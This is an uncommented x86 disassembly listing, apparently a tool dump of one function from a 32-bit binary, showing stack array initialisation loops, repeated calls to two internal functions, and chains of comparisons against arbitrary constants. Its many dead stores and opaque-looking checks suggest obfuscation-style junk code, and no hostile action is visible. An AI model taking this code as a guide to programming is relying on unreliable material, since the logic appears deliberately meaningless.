lea ecx, [edx + esi]
xor edx, edx
cmp ecx, eax
setle dl
mov dword [ebp - 0x2b0], edx
test edx, edx
je 0x10038d10
mov eax, dword [ebp - 0x2a8]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x2b0]
mov dword [ebp - 0x30], eax
xor eax, eax
mov dword [ebp - 0x48], 0xc70bb743
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x30], 0x67e307b5
mov dword [ebp - 0x5c], 4
mov dword [ebp - 0x30], 0xf5ae
mov dword [ebp - 0x54], 0x65f
mov dword [ebp - 0x38], 0xfffffffa
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x10038d70
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1270], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10038d5c
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x10038d90
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x360], 0xe7ed6f18
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10038d78
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x10038db0
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x2c0], 0xe9ab
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10038d98
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x10038dd0
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x2b8], 0x8158fb5c
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10038db8
xor eax, eax
mov dword [ebp - 0x48], eax
jmp 0x10038e0c
mov dword [ebp - 0x68], 0xffffffff
mov dword [ebp - 0x68], 0xec4279c4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x10038e03
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1090], 9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10038deb
xor eax, eax
inc dword [ebp - 0x2c0]
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], eax
jle 0x10038dd5
mov eax, dword [ebp - 0x30]
xor edx, edx
inc dword [ebp - 0x2b8]
mov esi, dword [ebp - 0x2b8]
mov ecx, dword [ebp - 0x360]
mov eax, dword [ebp - 0x5c]
cmp ecx, eax
mov eax, dword [ebp - 0x38]
setle dl
lea ecx, [edx + esi]
xor edx, edx
cmp ecx, eax
setle dl
mov dword [ebp - 0x360], edx
test edx, edx
je 0x10038e4d
mov eax, dword [ebp - 0x2c0]
mov eax, dword [ebp - 0x54]
lea ecx, [ebp - 0xa0]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x360]
mov dword [ebp - 0x30], eax
push ebx
call fcn.100186a3
mov dword [ebp - 4], 0x3b
mov dword [ebp - 0x30], 0xffffffff
push 0xfffffffffffffff9
mov dword [ebp - 0x54], 0x6cd219fa
pop eax
mov dword [ebp - 0x30], eax
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x10038eb1
push dword [ebp - 0x18]
lea ecx, [ebp - 0xa0]
call fcn.1001872f
mov dword [eax], 3
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10038e93
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x10038ed1
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x374], 0x2b56095d
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10038eb9
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x10038ef3
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x17b8], 0xffffffff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x10038eda
xor eax, eax
push eax
lea ecx, [ebp - 0xa0]
call fcn.1001872f
xor eax, eax
lea ecx, [ebp - 0xa0]
push eax
call fcn.1001872f
xor eax, eax
lea ecx, [ebp - 0xa0]
push eax
call fcn.1001872f
xor ebx, ebx
lea ecx, [ebp - 0xa0]
cmp dword [eax], 4
setl bl
xor eax, eax
push eax
call fcn.1001872f
lea ecx, [ebp - 0xa0]
mov eax, dword [eax]
imul eax, ebx
xor ebx, ebx
imul eax, eax, 0xffff
cmp eax, 0xfffffff7
setne bl
xor eax, eax
push eax
call fcn.1001872f
lea ecx, [ebp - 0xa0]
mov eax, dword [eax]
imul eax, ebx
xor ebx, ebx
cmp eax, 7
setl bl
xor eax, eax
push eax
call fcn.1001872f
xor ecx, ecx
cmp ebx, dword [eax]
setg cl
xor eax, eax
mov dword [ebp - 0x374], ecx
lea ecx, [ebp - 0xa0]
push eax
call fcn.1001872f
xor eax, eax
lea ecx, [ebp - 0xa0]
push eax
call fcn.1001872f
xor eax, eax
lea ecx, [ebp - 0xa0]
push eax
call fcn.1001872f
xor eax, eax
lea ecx, [ebp - 0xa0]
push eax
call fcn.1001872f
xor eax, eax
lea ecx, [ebp - 0xa0]
push eax
call fcn.1001872f
push 8
pop ecx
cmp ecx, dword [eax]
lea ecx, [ebp - 0xa0]
sbb esi, esi
xor eax, eax
push eax
neg esi
call fcn.1001872f
xor ecx, ecx
cmp esi, dword [eax]
setge cl
or esi, 0xffffffff
xor eax, eax
sub esi, ecx
push eax
lea ecx, [ebp - 0xa0]
call fcn.1001872f
cmp esi, dword [eax]
jle 0x10038ffb
mov eax, dword [ebp - 0x374]
xor eax, eax
lea ecx, [ebp - 0xa0]
push eax
call fcn.1001872f
xor eax, eax
lea ecx, [ebp - 0xa0]
push eax
call fcn.1001872f
xor eax, eax
lea ecx, [ebp - 0xa0]
push eax
call fcn.1001872f
xor ebx, ebx
inc ebx
cmp dword [eax], ebx
jg 0x1003907e
xor eax, eax
mov dword [ebp - 0x30], 0x9a325cf1
push 2
mov dword [ebp - 0x24], eax
pop ecx
cmp dword [ebp - 0x24], ecx
jge 0x10039058
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x162c], 0x2ad9236f
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jl 0x10039040
mov dword [ebp - 0x24], eax
jmp 0x1003906e
mov dword [ebp - 0x60], ebx
lea ecx, [ebp - 0x864]
mov dword [ebp - 0x60], 0xbcc9df7
push 3
call fcn.100186a3
xor eax, eax
mov byte [ebp - 4], 0x3c
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x100390c3
push dword [ebp - 0x14]
lea ecx, [ebp - 0x864]
call fcn.1001872f
mov dword [eax], 0x4aac4658
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x100390a4
push eax
lea ecx, [ebp - 0xa0]
call fcn.1001872f
xor eax, eax
lea ecx, [ebp - 0xa0]
push eax
call fcn.1001872f
cmp dword [eax], 0
je 0x10039157